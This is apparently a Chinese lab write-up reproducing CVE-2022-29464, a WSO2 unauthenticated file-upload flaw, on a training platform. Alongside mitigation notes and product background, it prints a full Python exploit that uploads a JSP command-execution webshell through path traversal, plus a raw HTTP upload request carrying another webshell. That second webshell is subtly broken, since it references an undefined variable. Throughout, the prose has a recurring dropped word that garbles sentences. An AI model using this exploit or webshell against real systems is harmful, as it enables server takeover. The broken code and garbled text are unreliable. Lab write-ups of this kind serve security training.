WSO2 products 文件上传(CVE-2022-29464)

简介: WSO2 products 文件上传(CVE-2022-29464)

前言

CVE-2022-29464 是一个影响多个 WSO2 产品的严重远程代码执行(RCE)。这些产品包括 WSO2 API Manager、WSO2 Identity Server 和 WSO2 Enterprise Integrator 等。由于用户输入验证不当,该允许未经身份验证的在服务器上上传并执行任意文件。

关键细节

  • 严重性:严重 (CVSS 评分 9.8)
  • 影响:允许远程通过上传恶意文件来执行任意代码。
  • 受影响产品
  • WSO2 API Manager 2.2.0 及以上版本
  • WSO2 Identity Server 5.2.0 及以上版本
  • WSO2 Enterprise Integrator 6.2.0 及以上版本
  • 以及其他相关产品

利用

可以通过向易受攻击的端点(例如 /fileupload)发送特制的 HTTP POST 请求来利用此。该请求允许上传恶意的 JSP 脚本,然后可以通过网络浏览器访问该文件以触发其执行,从而获得远程命令执行的权限。

缓解措施

WSO2 已经为所有受支持版本的受影响产品发布了补丁。强烈建议用户立即应用这些补丁。对于无法立即应用补丁的用户,WSO2 提供了临时缓解措施,例如修改配置文件以删除 FileUploadConfig 部分中的特定映射。

利用示例

一次典型的涉及通过 POST 请求将一个如 shell.jsp 的文件上传到服务器。上传后,可以通过浏览器访问该文件,从而执行恶意代码。

推荐措施

  • 应用补丁:更新到 WSO2 提供的最新版本。
  • 临时缓解:按照 WSO2 的指南修改配置文件,以防无法立即应用补丁。

有关更多技术细节和访问补丁的信息,可以访问官方的 WSO2 公告 和相关的 GitHub 仓库

春秋云镜是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:


实战演练:


提供各种网络安全攻防演练场景,模拟真实的网络事件,帮助用户在实际操作中掌握网络安全技术。

场景涵盖Web安全、系统安全、网络安全、社工等多个领域。


复现:


用户可以通过平台对已知的安全进行复现,了解的产生原因、利用方法和修复措施。

通过实战操作,帮助用户掌握利用和防护的技能。


教学培训:


提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。

包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。


竞赛与评测:


定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。


资源共享:


平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。

用户可以在社区中分享经验和资源,互相交流和学习。


春秋云镜适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。


详细请参考链接

https://github.com/hakivvi/CVE-2022-29464

想要看明白参考需要 JAVA 代码基础

介绍

WSO2是一家知名的开源技术公司,提供一系列产品来帮助企业进行集成、API管理、身份管理和分析。以下是WSO2的主要产品:

WSO2 API Manager:


功能:一个完整的API管理平台,支持API创建、发布、管理、监控和保护。适用于各种复杂的API场景,包括REST、GraphQL和AsyncAPI。

安全:提供OAuth访问控制、细粒度安全策略和威胁防护机制,确保API安全访问。

灵活性:支持在云端、本地或混合环境中部署,适应企业的不同需求 (WSO2) (WSO2 Micro Integrator Documentation)。

WSO2 Identity Server:


功能:专注于身份和访问管理(IAM),支持单点登录(SSO)、身份联合、身份认证和用户管理。

安全:提供多层次的安全措施,包括加密密码、日志敏感信息掩码和传输层安全(TLS)配置 (WSO2 Identity Server)。

WSO2 Micro Integrator:


功能:用于微服务架构的轻量级集成解决方案,支持创建复合微服务、消息路由、转换、消息中介和服务编排。

特点:支持多种消息协议和数据格式的处理,包括REST、SOAP、JMS和MQTT,适用于复杂的企业集成需求 (WSO2 Micro Integrator Documentation)。

WSO2的产品以其开源、灵活和高度可扩展性而闻名,广泛应用于全球各大企业和政府机构中,用于支持其关键业务和服务。这些产品帮助企业在数字化转型过程中,简化API管理、增强身份安全和实现复杂系统的高效集成。

复现

打开

页面如下,需要登录

社工搜了下默认的用户名和密码,尝试登录

登录成功了,但是这对解题并没有用

去 CVE 搜索了一下发现有 Poc

import requests
import argparse
 
 
def exploit(url):
    uurl = "http://" + url + "/fileupload/toolsAny"
    shell = """<FORM>
        <INPUT name='cmd' type=text>
        <INPUT type=submit value='Run'>
    </FORM>
    <%@ page import="java.io.*" %>
        <%
        String cmd = request.getParameter("cmd");
        String output = "";
        if(cmd != null) {
            String s = null;
            try {
                Process p = Runtime.getRuntime().exec(cmd,null,null);
                BufferedReader sI = new BufferedReader(new
    InputStreamReader(p.getInputStream()));
                while((s = sI.readLine()) != null) { output += s+"</br>"; }
            }  catch(IOException e) {   e.printStackTrace();   }
        }
    %>
            <pre><%=output %></pre>"""
 
    files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp": shell}
    response = requests.post(url=uurl, files=files, verify=False)
    if (response.status_code == 200):
        print('It looks likely vulnerable')
        print(
            'Please use this url:' + '{\33[91m' + 'https://' + url + '/authenticationendpoint/wavesky.jsp' + '\33[0m}' + ' to view and attack~')
    else:
        print('It is strong')
 
 
if __name__ == '__main__':
    parameter = argparse.ArgumentParser(description='Poc CVE-2022-29464:')
    parameter.add_argument('--file', help='url file', required=False)
    parameter.add_argument('--url', help='ip:port', required=False)
    para = parameter.parse_args()
 
    if para.url:
        exploit(para.url)
        exit()
    else:
        parameter.print_help()


PS D:\CVE> python .\CVE-2022-29464.py --url "eci-2zehz8yh4xe8hcm8umi9.cloudeci1.ichunqiu.com:9445/"
It looks likely vulnerable
Please use this url:{https://eci-2zehz8yh4xe8hcm8umi9.cloudeci1.ichunqiu.com:9445//authenticationendpoint/wavesky.jsp} to view and attack~

输入命令测试

直接访问 flag

EXP 的话则是使用 BurpSuite 改包

POST /fileupload/toolsAny HTTP/2
Host: http://eci-2zed31qpgb0lqk2ppaj3.cloudeci1.ichunqiu.com:9445
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
 
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"
 
<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String command = request.getParameter("command");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(command,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

相关文章
|
5月前
|
存储 安全 JavaScript
Weaver E-Office v9.5 文件上传(CVE-2023-2648)
Weaver E-Office v9.5 文件上传(CVE-2023-2648)
|
5月前
|
SQL 供应链 安全
Pharmacy Management System v1.0 文件上传(CVE-2022-30887)
Pharmacy Management System v1.0 文件上传(CVE-2022-30887)
|
Web App开发 移动开发 安全
WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
679 1
|
XML 安全 Java
CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
一. 漏洞概述 2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞公告,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险。
10404 1
|
供应链 安全 IDE
IBM WebSphere Application Server Liberty 安全漏洞(CVE-2022-22475)
IBM WebSphere Application Server Liberty 安全漏洞(CVE-2022-22475)
|
Oracle 关系型数据库 Java
EOS Platform 7.2下安装weblogic插件
在实际工作中,需要用到EOS Platform,这是一个基于Eclipse的开发工具,自带了Tomcat,可以满足大部分需要,但是有时候需要使用Weblogic,这就得手动安装Weblogic插件了。这个过程与Eclipse相同(Eclipse下安装weblogic插件),本文中在EOS Platform 7.2中安装Weblogic插件。
202 0
EOS Platform 7.2下安装weblogic插件
下一篇
DataWorks